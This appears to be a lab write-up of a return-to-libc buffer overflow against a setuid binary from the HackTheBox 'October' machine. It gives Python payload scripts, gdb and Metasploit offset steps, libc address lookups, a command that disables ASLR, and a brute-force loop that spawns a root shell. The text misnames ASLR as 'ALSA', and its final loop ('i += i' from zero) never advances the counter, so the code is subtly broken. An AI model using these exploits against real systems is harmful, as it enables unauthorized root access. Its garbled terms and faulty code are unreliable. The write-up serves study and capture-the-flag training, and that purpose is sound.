In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations.
Return-to-libc is a method that defeats stack protection on linux systems.
This article will show you that how to attack C program by using buffer overflow and return to Libc method to pop a bash shell.
The example is come form HackTheBox – October Box. You can download the C program by click this link. (MD5 is: 0e531949d891fd56a2ead07610cc5ded)
We are using Kali Linux to do buffer overflow. We need install peda.py in our Kali Linux. You can click this link to learn how to install it.
We are using following command to check if the ALSA is open. If the address is changing, which means that ALSA is enable.
ldd ./vuln | grep libc
We can see that the ALSA is open. It does not matter. Because we can see that it changes slightly. This means that we can bypass it. I will mention how to bypass it in the end of the article.
Check Buffer length
We are using following command to create our payload.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
Then, we are running gdb, and exec this payload. (Check buffer length)
As we can see, it returns a value: 0x64413764. This is our buffer size.
Then, we run script to translate this size.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x64413764
We can see that the buffer size is 112.
First Payload Script
Now, we can develop our first payload.
import struct buf = "A" * 112 buf += struct.pack("<I", 0xb7e19000) #Exit Address, Does not matter print buf
Then, we run it in the gdb.
We can find that the exit code is changed.
Get System, exit and /bin/sh addresses
Now, we need to get 3 addresses. First, we need to get System Address. We start gdb again.
As we can see:
System address is: 0xf7e3f310
/bin/sh address is: 0xf7f61bac
For exit address:
In this case, we are using: 0xf7e0d1db
Second payload script
import struct system_addr = struct.pack("<I", 0xf7e3f310) arg_addr = struct.pack("<I", 0xf7f61bac) exit_addr = struct.pack("<I", 0xf7e0d1db) buf = "A" * 112 buf += system_addr buf += exit_addr buf += arg_addr print buf
As I mentioned, ALSA is open. We need temporary close it by using:
echo 0 > /proc/sys/kernel/randomize_va_space
Then, we run our payload. You will see that we got a shell.
Payload on Server
However, it just work on our local machine. It will not work on the target server. Because, when we run application, the address will totally changed. Now, we are going to develop the payload.
Get Libc Base Address
First, due to ALSA, the address is changing. We need to get a base address.
We can see that the base address is: 0xb761f000
Get Libc System Address
Second, get Libc Address on the server.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
we can see that the address is: 0x00040310
Get Libc Exit Address
Third, get Exit address on the server.
we can see that the exit address is: 0x00033260
Get Libc /bin/sh Address
We also need to get /bin/sh address.
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
We can see that the /bin/sh address is: 0x00162bac
Because there is ALSA, so our final payload need use “brute force”
from subprocess import call import struct libc_addr = 0xb761f000 sys_off_addr = 0x00040310 exit_off_addr = 0x00033260 arg_off_addr = 0x00162bac sys_addr = struct.pack("<I", libc_addr+sys_off_addr) exit_addr = struct.pack("<I", libc_addr+exit_off_addr) arg_addr = struct.pack("<I", libc_addr+arg_off_addr) buf = "A" * 112 buf += sys_addr buf += exit_addr buf += arg_addr i = 0 while (i < 512): print "Try: %s" %i print buf i += i ret = call(["/usr/local/bin/ovrflw", buf])
Finally, we got the root shell.